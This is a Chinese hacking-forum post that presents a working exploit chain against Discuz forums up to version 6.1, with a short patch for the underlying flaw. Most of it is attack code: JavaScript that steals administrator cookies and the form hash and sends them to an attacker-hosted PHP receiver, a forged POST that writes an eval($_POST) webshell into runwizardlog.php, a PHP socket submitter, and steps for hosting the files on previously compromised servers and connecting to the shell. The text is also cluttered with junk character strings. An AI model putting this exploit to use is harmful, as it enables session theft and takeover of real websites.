Discuz XSS得webshell8 `$ p9 i7 A3 J2 \' j" w
By racle @tian6.com
* ~. ~. a1 {1 f% M9 l/ e* J欢迎转帖.但请保留版权信息.
- O- i+ P3 g, F1 e8 `: |受影响版本 iscuz<=6.1.0,gbk+utf+big58 V _5 r5 ~# W' |
% b t5 G T+ t! s新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
+ u) \# X. n+ g7 \9 q
% @' o; S `) [1 i8 J8 f/ e: K9 r/ u# @
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
; \, B5 d% R# P' S当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.* m' [7 N+ m8 |& f
9 C! U( [$ I1 `分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..
: I( Y8 a# V: }8 ^4 }/ v2 w本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
+ [: h/ @6 b3 s( X6 [
6 C3 |" P3 \7 a3 U, x9 L
. b S7 h5 L: O0 v$ E5 U----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------+ v) W( }6 x% i8 o5 O- l
4 p7 l; H M2 w8 T2 e2 V
p7 b, K% p( ~- ]4 d/ Aproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
! i, `4 H& P1 I6 Q" K
8 b- L# h/ y) a4 ]1 v, Z( w' |problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.6 [# |8 |! X d
9 P3 _2 \% C% R7 P# Cproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.2 ~. y% K' [8 p* `
2 v/ e1 K' G4 t% u
" o: T) h2 V3 I9 c: U下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {
9 j$ H2 K S) A4 {! k. H2 ~4 H: A; e5 H' z
global $runwizardfile, $runwizardhistory;% T0 _# Y7 H% y5 T+ L, u( u
4 D/ S/ S, l7 Y4 [: {' E $fp = fopen($runwizardfile, 'w');
2 s+ E$ W6 D) ^. c) I6 L" G! N! ^( Z) V, L: H a2 c8 e
fwrite($fp, serialize($runwizardhistory));
' r. x* Q- {9 ^& V+ `* @3 w n; {, L$ \2 h' }
fclose($fp);
# I9 y }/ o0 J- K( T+ k% S* _( N$ ]: X( v$ G
}, ]& r* X3 r5 X! S
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
4 R/ W& O! {1 h& Y5 T' X: R以下是修补的办法:function saverunwizardhistory() {
$ A- b8 ]6 x9 j. b! H- H2 j; A+ S9 |
global $runwizardfile, $runwizardhistory;
% y+ m5 o- j( A7 i# ?% E5 W* |+ y/ j- l
$fp = fopen($runwizardfile, 'w');
% W* Y* p* O! n5 H, ~% B6 I. J$ W6 V: U) X4 A6 c% Q5 K n
$s = '<?php exit;?>';* a( X7 W) G3 {* E" N
! z0 D3 e$ a# N2 P% v/ D) S $s .= serialize($runwizardhistory);( W! f6 r+ X% D& N
7 c) b. }! d$ i, h q/ o fwrite($fp, $s);4 N& P k6 u! l
, t: K: C u: B2 u% {9 i2 O; D fclose($fp);
7 W& v" G- y, M2 Q: C! s1 v# W! W( N6 L, }1 L% H5 f
}
2 E3 k$ R4 d- N. ]3 \% ^复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
- Z( W7 |: B. X) V1 l8 n& Y, G4 T6 | ~2 e
/ u7 r% Y* ?# K2 U0 k1 i0 q
0 a7 I2 d7 X+ k) `----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------* o" A" A5 L( ^: X
) ^" X* w8 [8 Q' P: a& b0 |! l, f. m3 l# k5 I9 O! T" ~3 r0 x2 H
以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
5 d+ S1 I# K' B
' @$ A* R3 N3 l7 q6 p我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
4 \) A) K* H* a) `% Q" v; V- S/ }) }! s& X6 r. l
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.5 q- T) t6 |8 w7 Z
" U$ k7 ~7 w0 T* ?4 v1 z1 l# Y4 I5 ?首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
! A! W8 }' n/ a2 Q2 l/ P7 a" ^! L( E9 A! y& U/ A& h$ s
var url="http://目标网站/admincp.php"; . |* d3 r+ i L3 ]! q2 u( N; F e& V
2 }' u6 r; f% _* B6 U4 n% `
/*获得cookies*/0 Z* w$ ]8 R4 w s. V) ^, J
4 G9 S6 u. T. t% v% |' ~ t0 mfunction getURL(s) {
- j8 }+ s! n+ h' n& i1 k; S$ Q, k5 I
0 L6 Q6 \/ ^* }: u9 K7 G- ]var image = new Image();" R; [: B7 O: P9 x2 S8 t6 A0 v" g" v
D2 ~% C) x0 O" `0 Rimage.style.width = 0;( M+ d& f5 y. ?$ R9 s6 \' \
n! z+ R& S) R$ p
image.style.height = 0;+ Z e% X6 {2 d) W l: ^
* V0 x& }* u' k# ?* [image.src = s;
7 f6 c$ W* U. p0 b
6 c- W) A2 ?0 k9 I; j}, U5 `& j5 d+ } q
# B1 ^1 V) J0 h% s9 }+ m1 d
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php7 @0 j$ K8 v' \5 K! A$ s# q& `$ N
复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
; {% j9 e& p; H/ n复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 6 U# L' W+ A4 q _6 ~: a( S* b
+ w# V) @, W& ?/ {1 {+ \0 r+ g/ D/ ?" M+ S
获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";# h0 x2 V0 z) r" ~; @: x# q
6 }+ v Y1 L$ c5 J* j z
; m, H1 `# T3 @0 p) ?% M8 O6 w, A, I2 c* R* j N) Z; U
/*hash*/
* t4 S+ r4 O7 j( e: L0 i4 y% a" j1 `1 ~ H
var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");5 R+ F& J/ V$ ~6 W0 p% i
$ F, K/ k1 ]/ ^xmlHttpReq.open("GET", url+"admincp.php?action=home", false);7 o* \& N: u4 b) f% R
; s0 W% l5 s, Z7 L; Z7 P4 V8 C: dxmlHttpReq.send();1 n6 A( [. ` A0 q3 r5 L( J
4 q' V% A: [ X+ r1 `( }3 z
var resource = xmlHttpReq.responseText;% u7 b. _7 f! [! K. }
1 Q5 O; M# E" n6 y# M4 P
var numero = resource.search(/formhash/);
) Y: I3 M! v" j
^& D8 p2 L, w9 p% c+ _- B6 ?var formhash=encodeURIComponent(resource.substr(numero+17,8));4 G' i/ B. s5 r# J6 c, g
6 F$ [4 ^: Z6 w: }( a$ w3 F3 Q! O
$ F& `3 n7 h2 Q- \9 n9 r
6 s9 U4 Z7 R% c# avar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据 5 V( w; t; Z/ _: U* l: ~! J" t
' k+ g0 g2 T8 C/ R
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 ( p" [' q; K7 P, ?
0 n, z5 p# O5 H# n" jxmlHttpReq.setRequestHeader("Referer", url);$ `. n. J2 S) x+ o, u' G( H
8 C2 u/ X& f: e
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
+ ?% i) e* Q- O+ o( E
4 }: s+ W; U. k; pxmlHttpReq.setrequestheader("content-length",post.length); ' @1 [- K4 j- x
- K$ c% M$ U$ l: A' Y* e* s5 SxmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
8 M! A0 H. a1 ^; c: R$ ~4 c
( ?9 W5 o0 u6 h* X" { @2 z7 {' i BxmlHttpReq.send(post);//发送数据
: p* P" z; Y. y& z# r3 w- Y复制代码这里HASH我假设正确,这样提交,也无须cookies
! y3 t( y0 C+ m
. j2 H; `6 C: j# W1 f再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);) A2 k' L7 ^7 \- ~, i, D
O' b- F# o4 L
if (!$sock) die("$errstr ($errno)\n");
: [) b3 y$ E3 S- q& n% j& w, Y6 m+ I% d9 \; C9 m5 B) g7 u4 n U
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';8 a7 l p# t& H# w+ u0 H
r/ I) k3 R: f9 {: @& R4 c
' M$ j6 i* x7 _4 S6 h6 ~6 t4 h' n- b3 `; B
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
6 H$ f; m" ~1 u3 y8 b0 Z: |7 k; g, c5 z+ c* \4 a
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
9 J' z9 u4 }$ H3 y" Y% A( G. F
G' l2 t1 G( g8 V9 }& Cfwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
1 o/ P" q9 |) M4 w" d
" ]! y4 v5 o( i4 q6 s* {fwrite($sock, "Accept-Language: zh-cn\r\n");
$ H1 P% O) `. L4 M8 }
: ~) h6 H6 q: {5 n) \2 Q4 }fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
- d' p6 F! Y/ Z. U8 c( ~+ [$ J* S. B. U
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
1 Z7 n& `% P3 L8 G- y: J' [* r: i- Z; X" p# D5 X4 k2 V
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
' j4 w4 P% v2 w/ H1 T2 {+ S# j1 `: _4 s8 V; C
fwrite($sock, "Host: $url\r\n");
/ y' A( a" Z; {- U6 p( f5 y+ B' V0 t$ }5 o9 l. A/ e8 n% k4 k9 z/ Y
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");! L$ D8 V) J: A4 g3 U1 M2 J7 }
2 W8 l' a. P8 O. j' s6 b0 h9 L1 Bfwrite($sock, "Connection: Keep-Alive\r\n");
/ _6 o/ s& t1 N( C* y/ f
, r. B3 g7 R! G. y* h$ S0 b M8 ofwrite($sock, "Cache-Control: no-cache\r\n");
7 N9 A/ d, P# Q. C" u/ w- @& k. R% b) v K* v, }! `* l
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");/ q4 \; e% B% r; ~- T2 e" S, G
3 f" ~( W7 Z3 x4 }- [/ S
fwrite($sock, $data);
: }8 }7 x- E: m" o! u7 l5 n; e* x' e
8 \: B5 ^; t; o
( @4 U: `( G* V" @. L* v$ k) p$ Z$headers = "";
( n4 i- Q$ j6 F; J! F9 q
) P' J- S8 q' Q- vwhile ($str = trim(fgets($sock, 4096)))$ B& V7 F+ s7 r9 y! }
( S" Q# s$ q7 h+ \1 g/ ? $headers .= "$str\n";
9 R' M9 U$ K" c! i- G* }
8 h' c" _6 R* kecho "\n";
' w7 w4 @. \5 _" u! O7 M
% l& b; j& [7 Y# K& z$ c; K$body = ""; O0 p0 @2 O) m1 \7 u
# ^6 i0 k1 ?$ x- Z9 D
while (!feof($sock))! P: q3 }# D8 l( a- o: P+ l% k
+ h) b+ M, B1 F5 h" X
$body .= fgets($sock, 4096);4 u% b0 A; a. o
" U8 W% ]0 T: v; `8 P: ~fclose($sock);' A3 V- N0 e3 s% d; y/ D, r
9 m* ]0 F+ Z/ \' D# Vecho $body;
' X* L" c1 O# m* w+ y% G+ p* F复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^2 a7 g M. B# g* j4 q; v( W
2 v; ~ n+ b+ w" J
- s4 K9 W/ ~3 u% H- u-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------3 _. Q6 n% z3 Y0 ]) {
0 h; p3 U0 P+ o4 Q8 U2 V4 P' r: d9 v( J
1 HP SOCKET利用方法首先打开racle.js
U- u2 y) c$ D4 r2 ]
; P* ? C6 ~% N% s+ ^var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
3 l2 u, U W: k2 k) J' A" e1 L+ P8 E8 H
! j6 | |1 d# Z9 H4 b$ p4 u
$ N+ S% |0 |2 d" C( L' F' O
然后打开racle@tian6.php
) J0 |9 h: c8 o5 E; `' Z
7 o2 L4 h& Q: Y$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com. \8 u0 }! s$ }2 z, t9 ~4 s$ k
6 n4 K7 L H1 E3 u% M
! I. [. l. f9 V, _) ]. J9 S9 ^
% J+ I% n+ @) b0 V0 v
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:2 u+ h+ G6 S6 a+ a
) Q$ @. K! d# ?
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
' I* R) |+ j) L5 O$ i: u4 e8 r4 j
为& {' E9 T4 j' K( U
, b2 l$ `) O+ W, }9 D' m
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie)); e! q' f5 j7 q. X8 J! b! L/ l
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
: G; z2 C# A$ a6 ^/ L) R
7 X9 T$ n$ r! C& X+ Y- O4 D, ]! P
& ], a7 V9 _" n' r: K: h如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:: e3 W0 J3 [4 g3 z; G; W/ Z8 ?
! S$ a4 w* e8 {6 p$ Mvar formhash=encodeURIComponent(resource.substr(numero+17,8));( Z8 u2 K) N8 @: d/ R
6 n- v9 y3 X4 Z* I' k( \5 p3 d$ c& [为# R# {# N+ B3 z' s1 Y
9 a4 q/ m# R2 P9 B: nvar formhash=encodeURIComponent(resource.substr(numero+9,8));4 D. W" c. x/ _* M( j8 X, u
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
+ e; l* |) c' R8 f
9 G- b4 }1 v% C) m. K# [- ?如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.! I* q8 y# W3 n
8 |( R7 E! p' c% p
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点." Q& G1 p5 P9 j }+ I- r O
$ c5 B) O6 c3 X* I: P+ M; ?不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.5 j2 m) E2 h( `8 n% b5 }
1 I, _& O6 N% J$ g# ] |